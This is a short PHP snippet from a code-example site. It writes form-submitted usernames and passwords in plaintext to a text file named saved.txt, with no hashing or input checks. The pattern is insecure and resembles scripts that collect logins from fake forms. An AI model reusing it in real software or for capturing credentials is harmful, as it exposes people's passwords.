Search
 
SCRIPT & CODE EXAMPLE
 
CODE EXAMPLE FOR PHP

php to save txt html

<?php
if(isset($_POST['submit'])){
$Name = "Username:".$_POST['username']."
";
$Pass = "Password:".$_POST['password']."
";
$file=fopen("saved.txt", "a");
fwrite($file, $Name);
fwrite($file, $Pass);
fclose($file);
}
?>
Source by www.blogdesire.com #
 
PREVIOUS NEXT
Tagged: #php #save #txt #html
ADD COMMENT
Topic
Name
2+3 =